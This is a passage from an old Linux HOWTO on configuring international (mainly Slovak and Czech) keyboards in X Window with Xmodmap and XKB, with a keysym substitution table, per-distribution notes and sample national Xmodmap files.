ocircumflex

ohungarumlaut

odieresis

divide

rcaron

uring

uacute

uhungarumlaut

udieresis

yacute

tcedilla

dotaccent

----------------------------------------------------------------------

First, if you are using older systems, try to see if standard definitions will give you (after installing pertinent fonts and building Xmodmap with keyboard definitions for X) what they say they are. If they will not give you what they say they are (some keycodes will be unfunctional), then put to your bash_profile the "export LANG=language" statement and if you are still unsuccessful, you must make a substitution. Definitions which will not give you what they say they are can be traced by their visual shape in Western Latin 1 encoding. If you are a Czech, for example, you may issue a command:

setxkbmap -model pc102 -symbols 'czsk(us_cz_qwertz)' setxkbmap cs -option grp:shift_toggle

and see what will give you an X terminal window (press both Shift keys or press alt and hold it to see the other keyboard layout). This means that by pressing a letter "3" you will get a real "onesuperior" key. It is good that X terminal window does not make use of ISO8859-2 fonts now, so you will see what you must use instead of scaron (scaron = onesuperior). By putting "onesuperior" in an .Xmodmap file you will get a REAL "scaron", but obviously, only with use of ISO8859-2 fonts (with use of ISO8859-1 fonts, you will get a REAL "onesuperior").

Thus, the X Terminal window will show you fonts like micron, onesuperior, threequarters, and so on. You will see what you must substitute. But if you don't know what "?" is called in the ISO terminology, find and download an appropriate character set table for ISO8859-1, or look in gdkkeysyms.h file, /lib/perl5/site_perl/5.6.0/i386-linux/GTK/keysyms.pm file, or ../ISO8859-1/Compose file. Alternatively, you may experiment with all codes defined in /usr/X11R6/lib/X11/locale/ISO8859-1/Compose file. You must use the ISO8859-1 entities when the system refuses to display the ISO8859-2 entities correctly.

The following symbols on your right is what I found out through my research. This is just an example. When you use a "Pound" definition in the Xmodmap file, the X Window System will display you a Lslash instead (in relation to using iso8859-2 fonts, of course). When you choose some easy KDE text editor, select iso8859-2 fonts charset from the fonts menu. NOTE: vowel *acute (uacute, eacute, etc.) signs require no substitution, therefore I omitted iacute, aacute, etc., here.

ISO8859-1 entity will give you the: ISO8859-2 entity

in our nonstandard or experimental Xmodmap keycode definition

egrave ccaron

ugrave uring

agrave racute

ecircumflex "c" with something at the bottom of it

ucircumflex Lslash "Pound" in Xmodmap gives you Lslash.

Lcaron Writing "yen" will give us Lcaron

Scaron copyright (will give us Scaron)

Tcaron guillemotleft (will give us Tcaron)

Zcaron registered

lcaron mu

scaron onesuperior

tcaron guillemotright

zcaron threequarters

Cacute AE

Eogonek find out yourself

Edieresis Edieresis

ecaron igrave

onequarter zacute

questiondown z with a ring above it

Dcaron find out yourself

Ooblique Rcaron

thorn t with something at the bottom of it

Sterling Lstroke

yen Lcaron

copyright Scaron

brokenbar Sacute

macron Z with something above it

paragraph sacute

periodcentered caron

masculine s with something at the bottom of it

onequarter zacute

ecircumflex d with a line above it

ETH Dstroke

Ntilde Nacute

Otilde O with two dots above it

registered Zcaron

Nacute Ograve

nacute ograve

Ocircumflex Ocircumflex

ccaron egrave

nacute ntilde ------------------------------------------------------------------------

sect1>ISO* specifications

2.7. The standard ISO8859-2 definitions in the Xmodmap file

The example of a Standard .Xmodmap file. Use this file if X Server correctly displays lcaron, scaron, etc., in newer versions of XFree86.

! This is an `xmodmap' input file for PC 101 key #2 (Linux/FreeBSD/XFree86; US/sk)

! keyboards created by XKeyCaps, modified by Juraj Sipos on 8/17/1999.

! XKeyCaps 2.38 is Copyright (c) 1997 Jamie Zawinski (jwz@netscape.com).

! http://people.netscape.com/jwz/xkeycaps/ This is an .Xmodmap solution for

! Slovak keyboard in FreeBSD. You must have ISO-8859-2 fonts installed with a

! pointer in /etc/XF86Config, for example,

! FontPath "/usr/X11R6/lib/X11/fonts/ISO8859-2/Type1". The section "Keyboard"

! in XF86Config must contain at least the following line. You don't have to

! specify any special XkbLayout.

! Section "Keyboard"

! Protocol "Standard"

! XkbRules "xfree86"

! XkbModel "pc101"

! XkbLayout "us"!

! The Slovak/English keyboard is switched to by Scroll Lock

! This file makes the following changes:

!

! The "F1" key generates F1 and F11

! The "F2" key generates F2 and F12

! The "F3" key generates F3 and F13

! The "F4" key generates F4 and F14

! The "F5" key generates F5 and F15

! The "F6" key generates F6 and F16

! The "F7" key generates F7, F17, and dead_circumflex

! The "F8" key generates F8, F18, and dead_doubleacute

! The "F9" key generates F9, F19, and dead_cedilla

! The "F10" key generates F10, F20, and dead_ogonek

! The "F11" key generates F11, F21, dead_diaeresis, and dead_circumflex

! The "F12" key generates F12, F22, dead_abovering, and dead_doubleacute

! The "Print Screen" key generates Print and Execute

! The "Scroll Lock" key generates ISO_Next_Group, and the Mod5 modifier

! The " `" key generates what you see + semicolon and dead diaeresis

! The "! 1" key generates 1, exclam, plus, 1 (the last one is with shift)

! The "@ 2" key generates 2, at, lcaron, and 2

! The "# 3" key generates 3, numbersign, scaron, and 3

! The "$ 4" key generates 4, dollar, ccaron, and 4

! The "% 5" key generates 5, percent, tcaron, and 5

! The "^ 6" key generates 6, asciicircum, zcaron, and 6

! The "& 7" key generates 7, ampersand, yacute, and 7

! The "* 8" key generates 8, asterisk, aacute, and 8

! The "( 9" key generates 9, parenleft, iacute, and 9

! The ") 0" key generates 0, parenright, eacute, and 0

! The "+ =" key generates equal, plus, dead_acute, and dead_caron

! The "Num Lock" key generates Num_Lock and Pointer_EnableKeys, and the Mod2 modifier

! The "Tab" key generates Tab and ISO_Left_Tab

! The "Q" key generates q and Q

! The "W" key generates w and W

! The "E" key generates e and E

! The "R" key generates r and R

! The "T" key generates t and T

! The "Y" key generates y and Y

! The "U" key generates u and U

! The "I" key generates i and I

! The "O" key generates o and O

! The "P" key generates p and P

! The "7 Home" key generates KP_Home and KP_7

! The "8 UpArrow" key generates KP_Up and KP_8

! The "9 Pg Up" key generates KP_Prior and KP_9

! The "Caps Lock" key generates Caps_Lock, and has no modifiers

! The "A" key generates a and A

! The "S" key generates s and S

! The "D" key generates d and D

! The "G" key generates g and G

! The "H" key generates h and H

! The "J" key generates j and J

! The "K" key generates k and K

! The "L" key generates l and L

! The "4 LeftArrow" key generates KP_Left and KP_4

! The "5" key generates KP_Begin and KP_5

! The "6 RightArrow" key generates KP_Right and KP_6

! The "Z" key generates z and Z

! The "X" key generates x and X

! The "C" key generates c and C

! The "V" key generates v and V

! The "B" key generates b and B

! The "N" key generates n and N

! The "M" key generates m and M

! The "1 End" key generates KP_End and KP_1

! The "2 DownArrow" key generates KP_Down and KP_2

! The "3 Pg Dn" key generates KP_Next and KP_3

! The "0 Ins" key generates KP_Insert and KP_0

! The ". Del" key generates KP_Delete and KP_Decimal

!#define XK_dead_semivoiced_sound 0xFE5F

!dead_iota, dead_voiced_sound, dead_belowdot, dead_tilde, dead_macron

keycode 0x09 = Escape

keycode 0x43 = F1 F11 F1 Multi_key

keycode 0x44 = F2 F12 F2 F12

keycode 0x45 = F3 F13 F3 F13 idiaeresis

keycode 0x46 = F4 F14 F4 F14 mu yen

keycode 0x47 = F5 F15 F5 F15 guillemotright guillemotleft

keycode 0x48 = F6 F16 F6 F16 ograve

keycode 0x49 = F7 F17 F7 dead_abovedot oacute

keycode 0x4A = F8 F18 F8 dead_breve uacute

keycode 0x4B = F9 F19 F9 dead_cedilla ugrave

keycode 0x4C = F10 F20 F10 dead_ogonek

keycode 0x5F = F11 F21 dead_acute dead_caron

keycode 0x60 = F12 F22 dead_abovering dead_diaeresis

!keycode 0x6F = Print Execute dead_doubleacute dead_circumflex

keycode 0x6F = Print Execute dead_iota

keycode 0x4E = ISO_Next_Group

keycode 0x6E = Pause

keycode 0x31 = grave asciitilde semicolon dead_diaeresis

keycode 0x0A = 1 exclam plus 1

keycode 0x0B = 2 at lcaron 2

keycode 0x0C = 3 numbersign scaron 3

keycode 0x0D = 4 dollar ccaron 4

keycode 0x0E = 5 percent tcaron 5

keycode 0x0F = 6 asciicircum zcaron 6

keycode 0x10 = 7 ampersand yacute 7

keycode 0x11 = 8 asterisk aacute 8

keycode 0x12 = 9 parenleft iacute 9

keycode 0x13 = 0 parenright eacute 0

keycode 0x14 = minus underscore equal percent

keycode 0x15 = equal plus dead_acute dead_caron

keycode 0x33 = backslash bar ncaron parenright

keycode 0x16 = BackSpace

keycode 0x6A = Insert

keycode 0x61 = Home

keycode 0x63 = Prior

keycode 0x4D = Num_Lock Pointer_EnableKeys

keycode 0x70 = KP_Divide slash

keycode 0x3F = KP_Multiply asterisk

keycode 0x52 = KP_Subtract minus

keycode 0x17 = Tab ISO_Left_Tab

keycode 0x18 = q Q

keycode 0x19 = w W

keycode 0x1A = e E

keycode 0x1B = r R

keycode 0x1C = t T

keycode 0x1D = y Y z Z

keycode 0x1E = u U

keycode 0x1F = i I

keycode 0x20 = o O

keycode 0x21 = p P

keycode 0x22 = bracketleft braceleft uacute slash

keycode 0x23 = bracketright braceright adiaeresis parenleft

keycode 0x24 = Return

keycode 0x6B = Delete

keycode 0x67 = End

keycode 0x69 = Next

keycode 0x4F = KP_Home 7 KP_Home

keycode 0x50 = KP_Up 8

keycode 0x51 = KP_Prior 9

keycode 0x56 = KP_Add plus

keycode 0x42 = Caps_Lock

keycode 0x26 = a A

keycode 0x27 = s S

keycode 0x28 = d D

keycode 0x29 = f F

keycode 0x2A = g G

keycode 0x2B = h H

keycode 0x2C = j J

keycode 0x2D = k K

keycode 0x2E = l L

keycode 0x2F = semicolon colon ocircumflex quotedbl

keycode 0x30 = apostrophe quotedbl section exclam

keycode 0x53 = KP_Left 4

keycode 0x54 = KP_Begin 5

keycode 0x55 = KP_Right 6

keycode 0x32 = Shift_L ISO_Next_Group

keycode 0x34 = z Z y Y

keycode 0x35 = x X

keycode 0x36 = c C

keycode 0x37 = v V

keycode 0x38 = b B

keycode 0x39 = n N

keycode 0x3A = m M

keycode 0x3B = comma less comma question

keycode 0x3C = period greater period colon

keycode 0x3D = slash question minus underscore

keycode 0x3E = Shift_R

keycode 0x62 = Up

keycode 0x57 = KP_End 1

keycode 0x58 = KP_Down 2

keycode 0x59 = KP_Next 3

keycode 0x6C = KP_Enter Return

keycode 0x25 = Control_L ISO_Next_Group

!keycode 0x40 = Alt_L Meta_L

keycode 0x40 = Meta_L Alt_L

keycode 0x41 = space

keycode 0x71 = Alt_R Meta_R

keycode 0x6D = Control_R

keycode 0x64 = Left

keycode 0x68 = Down

keycode 0x66 = Right

keycode 0x5A = KP_Insert 0

keycode 0x5B = KP_Delete period

!keysym Alt_L = Meta_L

!keysym F12 = Multi_key

clear Shift

!clear Lock

clear Control

clear Mod1

clear Mod2

clear Mod3

clear Mod4

clear Mod5

add Shift = Shift_L Shift_R

add Control = Control_L Control_R

!add Mod1 = Alt_L Alt_R

add Mod1 = Meta_L Alt_R

add Mod2 = Num_Lock

add Mod5 = ISO_Next_Group

!add Mod1 =

!add Mod2 = Alt_R Alt_L Mode_switch

keycode 0x73 = ISO_Next_Group

keycode 0x74 = dead_acute dead_diaeresis

keycode 0x75 = dead_caron dead_abovering

Prev | Home | Next
Introduction |  | How this Xmodmap solution works on various systems


How this Xmodmap solution works on various systems

How to setup international keyboard in X Window with Xmodmap and XKB
Prev Next

3. How this Xmodmap solution works on various systems

3.1. SuSE 6.4 and 7.0

3.1.1. SuSE 7.0 with XFree86 version 3.3.6 and KDE 2.0 (this also applies to SuSE 6.4

No LANG=language statement is necessary in your bash_profile. You may use the Xmodmap file with standard ISO8859-2 keycode definitions, the above .Xmodmap file, (not "threequarters" but "scaron", etc.). Unfortunately, although you may immediately start writing with ISO8859-2 keycodes, the dead keys are not working properly and export LANG=language does not work here in order to make these dead keys work. There's also some bug with fonts or something - KDE 2.0 (or older XFree does not properly handle ISO8859-2 fonts together with Xmodmap. Old kedit, newest GNOME's gedit and StarOffice 5.2 work well (after applying the above script for StarOffice 5.2).

After copying the Compose file from /usr/X11R6/lib/X11/locale/iso8859-2/ to the /usr/X11R6/lib/X11/locale/iso8859-1/, you may start elegantly working with dead keys. This was also tested on StarOffice 5.2. The FontPath must be in /etc/XF86Config, not in /etc/X11/Xf86Config.

3.2. SuSE 7.0 with Xfree86 version 3.3.6 and KDE 1.x

Same as above.

3.3. Mandrake Linux 7.2

3.3.1. Mandrake Linux 7.2 - works as it should

Yes, it works as it should - I used the "kcmshell Personalization/kcmlayout", command, which is in the menu in Configuration > KDE > Personalization > keyboard layout and after just putting the LANG=language statement in my .bash_profile, StarOffice worked immediately (with ISO8859-2 fonts added to its directory) and I only switched the keyboards. I chose Czechoslovakian as the second language and could write in Czech with ISO8859-2 characters on my screen. (I used the script for putting the ISO8859-2 fonts for StarOffice). Unfortunatelly, the KDE 2.0 kedit could not visualize the ISO8859-2 fonts and after switching the keyboard and selecting ISO8859-2 charset I saw this: ??????? instead of lcaron, scaron, etc., but *acute symbols (uacute, aacute, etc.) displayed well.

The maps in /usr/X11R6/lib/X11/xkb/symbols can be modified on the fly, while in X; you only have to switch keyboards from the panel (click on a flag icon). You can edit those maps and modify them for your choice. After changing some Czech definitions to Slovak, StarOffice displayed them well.

3.3.2. Mandrake Linux 7.2 with XFree86 version 3.3.6

Apply the standard .Xmodmap keycodes (scaron, lcaron, not "threequarters" or "mu", etc.) and issue the command: "xmodmap /.Xmodmap" and you may work by switching the keyboards by pressing Scroll Lock (if you use my Xmodmap file; if you use other Xmodmap file, try right Alt or whatever that is defined in the Xmodmap file).

The FontPath statement in /etc/X11/XF86Config and /etc/X11/XF86Config does not have to be changed:

FontPath "unix/:1"

The XFree86 reads automatically your fonts, but I put the ISO8859-2 fonts to /usr/share/fonts directory (same as in RedHat). Surprisingly, you do not have to copy the ../ISO8859-2/Compose file to ../ISO8859-1 directory and dead keys work nice.

3.4. Mandrake 8.1

This distribution works well as it should. In KDE, you must open the menu: Start > Preferences > Personalization > Country and Language, where you will change CHARSET from ISO8859-1 to ISO8859-2 (or ISO8859-X for any other language of your choice). Then you may either select a keyboard layout - Peripherals, Keyboard (Slovak is included with dozens of other keyboard XKB maps) from the menu: Start > Configuration > KDE > Personalisation > Peripherals > Keyboard, or you may choose my Standard Xmodmap solution. No other files require editing. That's great! Alternatively, you can set your keyboard with setxkbmap command (see section FreeBSD 4.4).

3.5. RedHat 5.1, 5.2, 6.0, 6.1 and 6.2 (XFree86 3.3.6 and older)

No LANG=language statement is necessary in your bash_profile. Here the "experimental" .Xmodmap solution works ("mu" instead of "lcaron", etc.) and you must copy the Compose file from ../IS08859-2 to ISO8859-1 directory in order for dead keys to work. There is only one XF86Config file in /etc/X11 and its FontPath should be the same as in SuSE 7.0 above.

3.6. RedHat 7.2

Same as Mandrake 8.1.

3.7. FreeBSD 3.1 and 3.2

Same as with RedHat 5.1, 5.2, 6.0, 6.1, 6.2

3.8. FreeBSD 4.1

No LANG=language statement is necessary in your bash_profile. But you must put this to /etc/profile: LANG=cs_CZ.ISO_8859-2; export LANG

FreeBSD 4.1, 4.2, 4.3, 4.4 does not use Slovak locale, so we must use the Czech one. It really does not matter. Here this depends on XFree86. Because the FreeBSD guys are too conservative about a newer software, they ship FreeBSD with older versions of XFree86. In FreeBSD 4.1 the experimental .Xmodmap solution works and you have to copy the ../ISO8859-2/Compose file to ../ISO8859-1 directory to make the dead keys work.

3.9. FreeBSD 4.4.

The Standard xmodmap solution works well. You must put this to /etc/profile:

LANG=cs_CZ.ISO_8859-2; export LANG

Yes, we will use the Czech locale for the Slovak language. Other languages require similar syntax, e.g.: LANG=it_IT.ISO_8859-1; export LANG

for the Italian language. Alternatively, you may use

setxkbmap si

as a command from an X Terminal for the Slovenian language

setxkbmap se

for Swedish

setxkbmap de

for German, etc.

A brief overview of XKB maps:

am Armenian keyboard

be Belgian

de German

ca Canadian

cs Czech

dk Danish

es Spanish

fi Finnish

fr French

gb Great Britain

hu Hungarian

is Iceland

it Italian

jp Japanese

no Norwegian

pl Polish

pt Portugese

ro Romanian

ru Russian

se Swedish

si Slovenian

3.10. Corel Linux 1.0 and 1.1

Same as with FreeBSD 3.x - experimental Xmodmap solution.

3.11. ISO* specifications

------------------------------------------------------------------- ISO8859-0 old, replaced by ISO 8859-14 and ISO 8859-15.

ISO8859-1 Western Europe: Danish, Dutch, English, Faeroese, Finnish, Flemish, French, German, Icelandic, Irish, Italian, Norwegian, Portuguese, Spanish, and Swedish. Many other languages can be written with this.

ISO8859-2 Eastern Europe: Czech, Slovak, English, German, Hungarian, Polish, Romanian, Serbo-Croatian, Slovak, Slovene.

ISO8859-3 English, Esperanto, Galician, Maltese and Turkish.

ISO8859-4 English, Baltic languages - Estonian, Latvian, Lithuanian, and Scandinavian languages - Danish, Faeroese, Icelandic, Lappish, Norwegian, and Swedish.

ISO8859-5 Latin/Cyrillic alphabet: Bulgarian, Byelorussian, English, Macedonian, Russian, Serbian, Ukrainian.

ISO8859-6 Latin/Arabic alphabet: English, Arabic.

ISO8859-7 Latin/Greek alphabet: English, Greek.

ISO8859-8 Latin/Hebrew alphabet: English, Hebrew.

ISO8859-9 Latin alphabet: Danish, Dutch, English, Finnish, French, German, Irish, Italian, Norwegian, Portuguese, Spanish, Swedish, Turkish, formed by extending ISO8859-1.

ISO8859-10 Latin alphabet: Modification of ISO8859-4

ISO8859-11 Latin/Thai alphabet.

ISO8859-12 Reserved.

ISO8859-13 Baltic.

ISO8859-14 Celtic

ISO8859-15 Similar to Latin-1

ISO8859-16 Albanian, Croatian, English, Finnish, French, German, Hungarian, Irish Gaelic, Italian, Latin, Polish, Romanian, Slovenian, Lithuanian, and Scandinavian languages (Danish, Faeroese, Icelandic.

Prev | Home | Next
Setting up international keyboard in X Window System with Xmodmap and XKB |  | Some national Xmodmap files


Some national Xmodmap files

How to setup international keyboard in X Window with Xmodmap and XKB
Prev Next

4. Some national Xmodmap files

Please note: I'am not the author of these files and don't mail me if you find something incorrect in them. These files were taken from the GNOME distribution and the main focus of this howto is to tell you how to map various keycode entities. Use right Alt to switch the keyboard.

4.1. German

clear Mod1

clear Mod2

keycode 9 = Escape Escape

keycode 10 = 1 exclam

keycode 11 = 2 quotedbl twosuperior

keycode 12 = 3 section threesuperior

keycode 13 = 4 dollar dollar

keycode 14 = 5 percent

keycode 15 = 6 ampersand

keycode 16 = 7 slash braceleft

keycode 17 = 8 parenleft bracketleft

keycode 18 = 9 parenright bracketright

keycode 19 = 0 equal braceright

keycode 20 = ssharp question backslash

keycode 21 = dead_acute dead_grave

keycode 22 = BackSpace Delete

keycode 23 = Tab Tab

keycode 24 = q Q at

keycode 25 = w

keycode 26 = e

keycode 27 = r

keycode 28 = t

keycode 29 = z

keycode 30 = u

keycode 31 = i

keycode 32 = o

keycode 33 = p

keycode 34 = udiaeresis Udiaeresis

keycode 35 = plus asterisk dead_tilde

keycode 36 = Return

keycode 37 = Control_L

keycode 38 = a

keycode 39 = s

keycode 40 = d

keycode 41 = f

keycode 42 = g

keycode 43 = h

keycode 44 = j

keycode 45 = k

keycode 46 = l

keycode 47 = odiaeresis Odiaeresis

keycode 48 = adiaeresis Adiaeresis

keycode 49 = dead_circumflex degree

keycode 50 = Shift_L

keycode 51 = numbersign apostrophe

keycode 52 = y

keycode 53 = x

keycode 54 = c

keycode 55 = v

keycode 56 = b

keycode 57 = n

keycode 58 = m

keycode 59 = comma semicolon

keycode 60 = period colon Multi_key

keycode 61 = minus underscore

keycode 62 = Shift_R

keycode 63 = KP_Multiply

keycode 64 = Alt_L Meta_L

keycode 65 = space space

keycode 66 = Caps_Lock

keycode 67 = F1 F11

keycode 68 = F2 F12

keycode 69 = F3 F13

keycode 70 = F4 F14

keycode 71 = F5 F15

keycode 72 = F6 F16

keycode 73 = F7 F17

keycode 74 = F8 F18

keycode 75 = F9 F19

keycode 76 = F10 F20

keycode 77 = Num_Lock

keycode 78 = Scroll_Lock

keycode 79 = KP_7

keycode 80 = KP_8

keycode 81 = KP_9

keycode 82 = KP_Subtract

keycode 83 = KP_4

keycode 84 = KP_5

keycode 85 = KP_6

keycode 86 = KP_Add

keycode 87 = KP_1

keycode 88 = KP_2

keycode 89 = KP_3

keycode 90 = KP_0

keycode 91 = KP_Decimal

keycode 94 = less greater bar

keycode 95 = F11 F11

keycode 96 = F12 F12

keycode 108 = KP_Enter

keycode 109 = Control_R

keycode 112 = KP_Divide

keycode 113 = Mode_switch

keycode 114 = Break

keycode 110 = Find

keycode 98 = Up

keycode 99 = Prior

keycode 100 = Left

keycode 102 = Right

keycode 115 = Select

keycode 104 = Down

keycode 105 = Next

keycode 106 = Insert

! right windows-logo key

! in "windows" keyboards the postion of the key is annoying, is where AltGr

! usually resides, so go define it as AltGr

keycode 116 = Mode_switch

! right windows-menu key

keycode 117 = Multi_key

add Mod1 = Alt_L

add Mod2 = Mode_switch

4.2. Hungarian

clear Mod1

clear Mod2

!charset "iso-8859-2"

keycode 9 = Escape

keycode 10 = 1 apostrophe asciitilde

keycode 11 = 2 quotedbl dead_caron

keycode 12 = 3 plus dead_circumflex

keycode 13 = 4 exclam dead_breve

keycode 14 = 5 percent degree

keycode 15 = 6 slash dead_ogonek

keycode 16 = 7 equal dead_grave

keycode 17 = 8 parenleft dead_abovedot

keycode 18 = 9 parenright dead_acute

keycode 19 = odiaeresis Odiaeresis dead_doubleacute

keycode 20 = udiaeresis Udiaeresis dead_diaeresis

keycode 21 = oacute Oacute dead_cedilla

keycode 22 = BackSpace Delete

keycode 23 = Tab Tab

keycode 24 = q Q backslash

keycode 25 = w W bar

keycode 26 = e E currency

keycode 27 = r

keycode 28 = t

keycode 29 = z

keycode 30 = u

keycode 31 = i I iacute Iacute

keycode 32 = o

keycode 33 = p

keycode 34 = odoubleacute Odoubleacute division

keycode 35 = uacute Uacute

keycode 36 = Return

keycode 37 = Control_L

keycode 38 = a

keycode 39 = s S dstroke

keycode 40 = d D Dstroke

keycode 41 = f F bracketleft

keycode 42 = g G bracketright

keycode 43 = h

keycode 44 = j J Iacute iacute

keycode 45 = k K lstroke Lstroke

keycode 46 = l L Lstroke lstroke

keycode 47 = eacute Eacute dollar

keycode 48 = aacute Aacute ssharp

keycode 49 = 0 section

keycode 50 = Shift_L

keycode 51 = udoubleacute Udoubleacute currency

keycode 52 = y Y greater

keycode 53 = x X numbersign

keycode 54 = c C ampersand

keycode 55 = v V at

keycode 56 = b B braceleft

keycode 57 = n N braceright

keycode 58 = m

keycode 59 = comma question semicolon

keycode 60 = period colon Multi_key

keycode 61 = minus underscore asterisk

keycode 62 = Shift_R

keycode 63 = KP_Multiply

keycode 64 = Alt_L Meta_L

keycode 65 = space space

keycode 66 = Caps_Lock

keycode 67 = F1 F11

keycode 68 = F2 F12

keycode 69 = F3 F13

keycode 70 = F4 F14

keycode 71 = F5 F15

keycode 72 = F6 F16

keycode 73 = F7 F17

keycode 74 = F8 F18

keycode 75 = F9 F19

keycode 76 = F10 F20

keycode 77 = Num_Lock

keycode 78 = Scroll_Lock

keycode 79 = KP_7

keycode 80 = KP_8

keycode 81 = KP_9

keycode 82 = KP_Subtract

keycode 83 = KP_4

keycode 84 = KP_5

keycode 85 = KP_6

keycode 86 = KP_Add

keycode 87 = KP_1

keycode 88 = KP_2

keycode 89 = KP_3

keycode 90 = KP_0

keycode 91 = KP_Decimal

keycode 94 = iacute Iacute less

keycode 95 = F11 F11

keycode 96 = F12 F12

keycode 108 = KP_Enter

keycode 109 = Control_R

keycode 112 = KP_Divide

keycode 113 = Mode_switch

keycode 114 = Break

keycode 110 = Find

keycode 98 = Up

keycode 99 = Prior

keycode 100 = Left

keycode 102 = Right

keycode 115 = Select

keycode 104 = Down

keycode 105 = Next

keycode 106 = Insert

keycode 107 = Delete

! as dead_ogonek, dead_caron, dead_breve and dead_doubleacute doesn't exist

! (yet), I put also compose lines for use with respectively dead_cedilla,

! dead_circumflex, dead_tilde and dead_tilde

add Mod1 = Alt_L

add Mod2 = Mode_switch

4.3. Czech

! Converted keytable file to xmodmap file

clear Mod1

clear Mod2

keycode 9 = Escape Escape

keycode 10 = plus 1 asciitilde

keycode 11 = ecaron 2 dead_caron

keycode 12 = scaron 3 asciicircum

keycode 13 = ccaron 4 dead_breve

keycode 14 = rcaron 5 degree

keycode 15 = zcaron 6 dead_ogonek

keycode 16 = yacute 7 dead_grave

keycode 17 = aacute 8 dead_abovedot

keycode 18 = iacute 9 dead_acute

keycode 19 = eacute 0 dead_doubleacute

keycode 20 = equal percent dead_diaeresis

keycode 21 = dead_acute dead_caron dead_cedilla

keycode 22 = BackSpace Delete

keycode 23 = Tab Tab

keycode 24 = q Q backslash

keycode 25 = w W bar

keycode 26 = e E currency

keycode 27 = r

keycode 28 = t

keycode 29 = z

keycode 30 = u

keycode 31 = i

keycode 32 = o

keycode 33 = p

keycode 34 = uacute slash division

keycode 35 = parenright parenleft

keycode 36 = Return

keycode 37 = Control_L

keycode 38 = a

keycode 39 = s S dstroke Dstroke

keycode 40 = d D Dstroke dstroke

keycode 41 = f F bracketleft

keycode 42 = g G bracketright

keycode 43 = h

keycode 44 = j

keycode 45 = k K lstroke Lstroke

keycode 46 = l L Lstroke lstroke

keycode 47 = uring quotedbl dollar

keycode 48 = section exclam ssharp

keycode 49 = semicolon degree

keycode 50 = Shift_L

keycode 51 = dead_diaeresis dead_acute currency

keycode 52 = y Y greater

keycode 53 = x X numbersign

keycode 54 = c

keycode 55 = v V at

keycode 56 = b B braceleft

keycode 57 = n N braceright

keycode 58 = m

keycode 59 = comma question

keycode 60 = period colon Multi_key

keycode 61 = minus underscore

keycode 62 = Shift_R

keycode 63 = KP_Multiply

keycode 64 = Alt_L Meta_L

keycode 65 = space space

keycode 66 = Caps_Lock

keycode 67 = F1 F11

keycode 68 = F2 F12

keycode 69 = F3 F13

keycode 70 = F4 F14

keycode 71 = F5 F15

keycode 72 = F6 F16

keycode 73 = F7 F17

keycode 74 = F8 F18

keycode 75 = F9 F19

keycode 76 = F10 F20

keycode 77 = Num_Lock

keycode 78 = Scroll_Lock

keycode 79 = KP_7

keycode 80 = KP_8

keycode 81 = KP_9

keycode 82 = KP_Subtract

keycode 83 = KP_4

keycode 84 = KP_5

keycode 85 = KP_6

keycode 86 = KP_Add

keycode 87 = KP_1

keycode 88 = KP_2

keycode 89 = KP_3

keycode 90 = KP_0

keycode 94 = ampersand asterisk less

keycode 95 = F11 F11

keycode 96 = F12 F12

keycode 108 = KP_Enter

keycode 109 = Control_R

keycode 112 = KP_Divide

keycode 113 = Mode_switch

keycode 114 = Break

keycode 110 = Find

keycode 98 = Up

keycode 99 = Prior

keycode 100 = Left

keycode 102 = Right

keycode 115 = Select

keycode 104 = Down

keycode 105 = Next

keycode 106 = Insert

! right windows-logo key

! in "windows" keyboards the postion of the key is annoying, is where AltGr

! usually resides, so go definie it as AltGr

keycode 116 = Mode_switch

! right windows-menu key

keycode 117 = Multi_key

add Mod1 = Alt_L

add Mod2 = Mode_switch

4.4. Polish

! The "AltGr" (right Alt) key generates Mode_switch

keycode 0x09 = Escape

keycode 0x43 = F1

keycode 0x44 = F2

keycode 0x45 = F3

keycode 0x46 = F4

keycode 0x47 = F5

keycode 0x48 = F6

keycode 0x49 = F7

keycode 0x4A = F8

keycode 0x4B = F9

keycode 0x4C = F10

keycode 0x5F = F11

keycode 0x60 = F12

keycode 0x6F = Print

keycode 0x4E = Multi_key

keycode 0x6E = Pause

keycode 0x31 = grave asciitilde

keycode 0x0A = 1 exclam

keycode 0x0B = 2 at

keycode 0x0C = 3 numbersign

keycode 0x0D = 4 dollar

keycode 0x0E = 5 percent

keycode 0x0F = 6 asciicircum

keycode 0x10 = 7 ampersand section

keycode 0x11 = 8 asterisk

keycode 0x12 = 9 parenleft

keycode 0x13 = 0 parenright

keycode 0x14 = minus underscore

keycode 0x15 = equal plus

keycode 0x33 = backslash bar

keycode 0x16 = BackSpace

keycode 0x6A = Insert

keycode 0x61 = Home

keycode 0x63 = Prior

keycode 0x4D = Num_Lock

keycode 0x70 = KP_Divide

keycode 0x3F = KP_Multiply

keycode 0x52 = KP_Subtract

keycode 0x17 = Tab

keycode 0x18 = Q

keycode 0x19 = W

keycode 0x1A = e E eogonek Eogonek

keycode 0x1B = R

keycode 0x1C = T

keycode 0x1D = Y

keycode 0x1E = U

keycode 0x1F = I

keycode 0x20 = o O oacute Oacute

keycode 0x21 = P

keycode 0x22 = bracketleft braceleft

keycode 0x23 = bracketright braceright

keycode 0x24 = Return

keycode 0x6B = Delete

keycode 0x67 = End

keycode 0x69 = Next

keycode 0x4F = KP_7

keycode 0x50 = KP_8

keycode 0x51 = KP_9

keycode 0x56 = KP_Add

keycode 0x42 = Caps_Lock

keycode 0x26 = a A aogonek Aogonek

keycode 0x27 = s S sacute Sacute

keycode 0x28 = D

keycode 0x29 = F

keycode 0x2A = G

keycode 0x2B = H

keycode 0x2C = J

keycode 0x2D = K

keycode 0x2E = l L lstroke Lstroke

keycode 0x2F = semicolon colon

keycode 0x30 = apostrophe quotedbl

keycode 0x53 = KP_4

keycode 0x54 = KP_5

keycode 0x55 = KP_6

keycode 0x32 = Shift_L

keycode 0x34 = z Z zabovedot Zabovedot

keycode 0x35 = x X zacute Zacute

keycode 0x36 = c C cacute Cacute

keycode 0x37 = V

keycode 0x38 = B

keycode 0x39 = n N nacute Nacute

keycode 0x3A = M

keycode 0x3B = comma less

keycode 0x3C = period greater Multi_key

keycode 0x3D = slash question

keycode 0x3E = Shift_R

keycode 0x62 = Up

keycode 0x57 = KP_1

keycode 0x58 = KP_2

keycode 0x59 = KP_3

keycode 0x6C = KP_Enter

keycode 0x25 = Control_L

keycode 0x40 = Alt_L Meta_L

keycode 0x41 = space

keycode 0x71 = Mode_switch

keycode 0x6D = Control_R

keycode 0x64 = Left

keycode 0x68 = Down

keycode 0x66 = Right

keycode 0x5A = KP_0

keycode 0x5B = KP_Decimal

! right windows-logo key

! in "windows" keyboards the postion of the key is annoying, is where AltGr

! usually resides, so go definie it as AltGr

keycode 116 = Mode_switch

! right windows-menu key

keycode 117 = Multi_key

clear Shift

clear Lock

clear Control

clear Mod1

clear Mod2

clear Mod3

clear Mod4

